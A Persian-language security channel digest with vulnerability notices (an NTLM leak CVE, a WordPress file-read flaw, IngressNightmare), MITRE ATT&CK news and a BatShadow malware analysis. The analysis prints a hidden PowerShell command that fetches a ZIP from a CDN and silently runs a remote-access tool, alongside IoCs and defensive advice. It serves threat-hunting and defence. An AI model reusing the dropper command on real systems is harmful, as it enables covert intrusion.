CVE-2025-24071
Windows Explorer automatically initiates an SMB authentication request when a .library-ms file is extracted from a .rar archive, leading to NTLM hash disclosure. The user does not need to open or execute the file simply extracting it is enough to trigger the leak.
-------------------------
«Windows Explorer به‌طور خودکار وقتی یک فایل .library-ms از یک آرشیو .rar استخراج می‌شود، یک درخواست احراز هویت SMB (پروتکل اشتراک فایل مایکروسافت) آغاز می‌کند که منجر به افشای هش NTLM (هشِ پروتکل احراز هویت ویندوز) می‌شود. کاربر نیازی به باز کردن یا اجرای فایل ندارد — صرفِ استخراج آن کافی است تا نشت رخ دهد.»

Exploit

⭐️ @RadvanSec

Generative AI for OSINT: Next Level Techniques for ChatGPT and Beyond

⭐️ @RadvanSec

Exploit for Ingress NGINX - IngressNightmare

This project provides an exploit targeting critical unauthenticated Remote Code Execution (RCE) vulnerabilities in the Ingress NGINX Controller for Kubernetes, collectively referred to as IngressNightmare. (Research by Wiz)

In the original research, the Wiz team did not provide a PoC or a functional exploit, so we decided to create our own and share it with the community.

——————————————————
اکسپلویت برای Ingress NGINX - IngressNightmare

این پروژه اکسپلویتی را ارائه می‌دهد که آسیب‌پذیری‌های حیاتی اجرای کد از راه دور (RCE) احراز هویت نشده در کنترلر Ingress NGINX برای Kubernetes، که به طور کلی IngressNightmare نامیده می‌شود، را هدف قرار می‌دهد. (تحقیق توسط Wiz)

در تحقیق اصلی، تیم Wiz یک PoC یا یک اکسپلویت کاربردی ارائه نکرد، بنابراین ما تصمیم گرفتیم خودمان آن را ایجاد کنیم و با جامعه به اشتراک بگذاریم.

Exploit

⭐️ @RadvanSec

#MITRE ATT&CK v18 Release
October 2025

تغییرات کلیدی:
- بازنگری بخش دفاعی و جایگزینی «تشخیص (Detections)» با «راهکارهای تشخیص (Detection Strategies)»
- اضافه شدن شاخص‌های تحلیلی (Analytics) و اجزای داده (Data Components) جدید
- بازگردانی قابلیت «سوء‌استفاده از امکانات دسترس‌پذیری» (Abuse Accessibility Features) در بخش موبایل
- آمار کلی: ۹۱۰ مورد نرم‌افزار، ۱۷۶ گروه، ۵۵ کمپین ثبت شده در این نسخه

🔗 https://attack.mitre.org/resources/updates/updates-october-2025/

⭐️ @RadvanSec

🔴 آسیب پذیری با شناسه ی CVE-2025-11705 در افزونه ی وردپرسی Anti-Malware Security and Brute-Force Firewall کشف و اصلاح شده که امکان افشای اطلاعات رو به مهاجمی که عضو سایت (Subscriber) هستش، میده.

نسخه های تحت تاثیر: ۴.۲۳.۸۱ و قبل‌ تر
نسخه اصلاح شده: ۴.۲۳.۸۳

سایتهایی که از نسخه های آسیب پذیر استفاده میکنن و همچنین امکان عضویت داخلشون فعال هستش، تحت تاثیر آسیب پذیری هستن.

آسیب پذیری در تابع GOTMLS_ajax_scan هستش و امکان خوندن فایلهای دلخواه رو به مهاجم میده. مثلا مهاجم میتونه فایل wp-config.php رو بخونه.

#وردپرس #آسیب_پذیری_امنیتی
#worpress #CVE

🆔 @onhex_ir
➡️ ALL Link

⭐️ @RadvanSec

⭐️ @RadvanSec

https://medium.com/@Aacle/ssrf-part-3-advanced-tricks-timing-channels-out-of-the-box-detection-693c07c97015

⭐️ @RadvanSec

⭐️کابوس اخراج و حذف کارمندان و جایگزینی هوش مصنوعی

🔹هوش مصنوعی باعث حذف ۱۴ هزار شغل در یک شرکت آمازون
به نقل از رویترز،
🔹شرکت آمریکایی آمازون حدود ۱۴۰۰۰ شغل شرکتی را حذف خواهد کرد تا هزینه‌های خود را در بخش هوش مصنوعی افزایش دهد.

🔻بث گالتی، معاون ارشد بخش تجربه و فناوری کارکنان آمازون، ديروز سه‌شنبه در نامه‌ای به کارمندان نوشت که به اکثر کارمندان ۹۰ روز فرصت داده می‌شود تا به دنبال موقعیت شغلی جدیدی در داخل شرکت باشند. آمازون اخیرا اعلام کرد قصد دارد ۱۰ میلیارد دلار برای ساخت یک پردیس در کارولینای شمالی سرمایه‌گذاری کند تا زیرساخت‌های محاسبات ابری و هوش مصنوعی خود را گسترش دهد.

🔻دوستان به سمت حوزه AGI پیش برید.سعی کنید همسو با انقلاب صنعتی چهارم هرچه سریعتر پیش برید.☺️
با این شوک حذف کارمندان که در دنیا در حال گسترش هست و بیشتر بخاطر AGI هست.

https://learninghive.ir/%d9%87%d9%88%d8%b4-%d9%85%d8%b5%d9%86%d9%88%d8%b9%db%8c-%d8%b9%d9%85%d9%88%d9%85%db%8c-%db%8c%d8%a7-agi/

⭐️ @RadvanSec

اوضاع جالبی نیست 🗿

📃 طبق این گزارش مهاجم از یه فایل LNK مخرب برای اجرای یه دستور مخفی PowerShell استفاده کرده که یه سند PDF جعلی (lure) و یه فایل ZIP دیگه رو از آدرس Bunny CDN دانلود میکنه:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { iwr 'hxxps://555555cnd.b-cdn[.]net/Marriott_Marketing_Job_Denoscription.pdf' -OutFile 'C:\Users\Public\Marriott.pdf'; Start-Process 'C:\Users\Public\Marriott.pdf'; Start-Sleep -Seconds 3; iwr 'hxxps://555555cnd.b-cdn[.]net/002.zip' -OutFile 'C:\Users\Public\002.zip'; Expand-Archive -Path 'C:\Users\Public\002.zip' -DestinationPath 'C:\Users\Public' -Force; Start-Process 'C:\Users\Public\XtraViewer.exe' -ArgumentList '/silent_start' } catch {}"

با وجود اینکه این دستور خیلی رایجه و به‌راحتی میشه کشفش کرد، استفاده از Bunny CDN جالب به نظر میرسه. و البته، ما میتونیم ازش برای شکار (hunting) استفاده کنیم:

event_type: "dnsreqwin"

AND

dns_rname: "b-cdn.net"

@TryHackBox
#LNKMalware #PowerShell #Malicious

خلاصه کوتاه

گروه تهدیدی که محققان آن را BatShadow نامیده‌اند، با یک کمپین هدفمند به دنبال جذب و آلوده‌سازی افراد شاغل در حوزه‌های دیجیتال (مثل جویندگان کار و دیجیتال مارکترها) است. آنها از مهندسی اجتماعیِ دقیق (آگهی‌های شغلی/لینک‌های جعلی) استفاده می‌کنند و فایل‌های ZIP حاوی اسناد طعمه و یک فایل مخفی .LNK یا .exe را به قربانی می‌رسانند. پس از اجرا، یک باینری نوشته‌شده با Go (که محققان آن را «Vampire bot» می‌نامند) نصب می‌شود و با ویژگی‌های زیر رفتار می‌کند:

شناسایی و پروفایل کامل میزبان (HWID، یوزرنیم، OS، آنتی‌ویروس‌های نصب‌شده، آی‌پی‌ها و غیره).

ارسال یک beacon اولیه رمزنگاری‌شده (JSON) به C2 با اطلاعات کامل.

گرفتن اسکرین‌شات‌های دوره‌ای (real-time desktop capture) با استفاده از کتابخانه‌ی Go (kbinani) و ذخیره به‌صورت WEBP.

رمزنگاری داده‌ها با AES-CBC (کلید از یک UUID سخت‌کدشده مشتق می‌شود) و فرستادن آنها داخل ترافیک HTTPS به سرورهای C2 (مثلاً endpointهایی مثل api3.samsungcareers.work/api/...).

یک حلقهٔ دائمی C2 برای دریافت دستورات (download/execute، تغییر تنظیمات captureInterval/captureQuality و …).

پنهان‌سازی و تداوم: کپی خود به مسیرهای مخفی (مثلاً داخل AppData\Local\Packages\edge)، ایجاد mutex و استفاده از ابزارهای قانونی مانند XtraViewer برای پنهان‌سازی کنترل از راه دور.

Aryaka Unified SASE Solution For Secure

نحوهٔ نفوذ و ترفندهای اجتماعی (لِیِر)

طعمه‌ها معمولاً با ZIP حاوی چند PDF و یک فایل LNK که شبیه PDF است فریب داده می‌شوند.

لینک‌های فیک به صفحات شغلی جعلی هدایت می‌کنند که قربانی را ترغیب می‌کنند فایل را «در Edge» باز کند — این ترفند برای دورزدن جلوگیری‌گرهای مرورگر انجام می‌شود.

بعد از کلیک، payload از CDN دانلود و اجرا می‌شود.

Aryaka Unified SASE Solution For Secure

تکنیک‌های فنی برجسته

زبان Go برای ساخت باینری (cross-platform، سخت‌تر برای آنتی‌ویروس‌ها).

AES-CBC با کلید مشتق‌شده از UUID سخت‌کدشده؛ انتقال در قالب JSON با IV+ciphertext هِگز‌شده.

تصاویر WEBP برای اسکرین‌شات‌ها (حجم کم، مخفی‌سازی بهتر).

C2 over HTTPS با هدر X-Api-Key که همان UUID است — ترافیک شبیه ترافیک معمول HTTPS به‌نظر می‌رسد.

Aryaka Unified SASE Solution For Secure

شاخص‌های سازش (IoC) — نمونه‌ها (از گزارش)

نام‌‌‌های فایل/ZIP مانند: ATG_Technology_Group_Marketing_Job_Denoscription.zip, Marriott_Marketing_Job_Denoscription.zip

دامنه/USB: نمونه endpoint ذکرشده: api3.samsungcareers.work (در گزارش به‌عنوان مقصد C2).

رفتار قابل شناسایی: فرایندهایی که فایل exe را داخل پوشهٔ AppData\Local\Packages\edge ایجاد می‌کنند؛ mutex با نام edge; ترافیک HTTPS با JSON payload حاوی فیلدهای fingerprint.
(برای استخراج کامل IoCها می‌تونم Appendix A در PDF را دقیقاً بیرون بکشم و لیست کامل ارائه کنم).
Aryaka Unified SASE Solution For Secure

تطابق با MITRE ATT&CK (خلاصه)

چند تکنیک اصلی که در گزارش ذکر شده با ماتریکس ATT&CK مطابقت دارد:

Initial Access: Phishing / Spearphishing Attachment (T1566.001)

Execution: User Execution via LNK/EXE (T1204)

Persistence: Masquerading, Service/Startup persistence (T1036, T1547)

Collection: Screen Capture (T1113), System Information Discovery (T1082)

Command and Control: Application Layer Protocol over HTTPS (T1071.001)

Exfiltration: Exfil over C2 channel (T1041)
(گزارش Appendix B نقشهٔ کامل‌تری دارد).
Aryaka Unified SASE Solution For Secure

توصیه‌های دفاعی عملی (عملی و سریع)

کاربر را آموزش بدهید — هشدار دربارهٔ ZIP/PDFهای شغلی و فایل‌های LNK که شبیه PDF نمایش داده می‌شوند.

بلاک کردن و مانیتورینگ دامنه‌ها/CDNهای مشکوک ذکرشده در IoC.

جلوگیری از اجرای فایل‌های LNK از پوشه‌های دانلود/عمومی با سیاست‌های AppLocker/Windows Defender Application Control.

محدودیت استفاده از ابزارهای remote-access (مثل XtraViewer) یا اعمال سیاست MFA، whitelisting و مانیتورینگ نشست‌ها.

EDR/AV را تنظیم کنید تا رفتارهای مشکوک (کپی به AppData\Local\Packages\edge، ساخت mutex، استفاده از کتابخانه kbinani برای اسکرین‌شات) را شناسایی کند.

TLS inspection / proxy برای شناسایی الگوهای JSON مشکوک و X-Api-Keyها (در محیط‌های مجاز)؛ یا لااقل شبکه‌های خروجی را به سرورهای غیرضروری محدود کنید.

بکاپ آفلاین و رمزگذاری دیسک و حفظ دسترسی‌های SSH/credential امن.

⭐️ @RadvanSec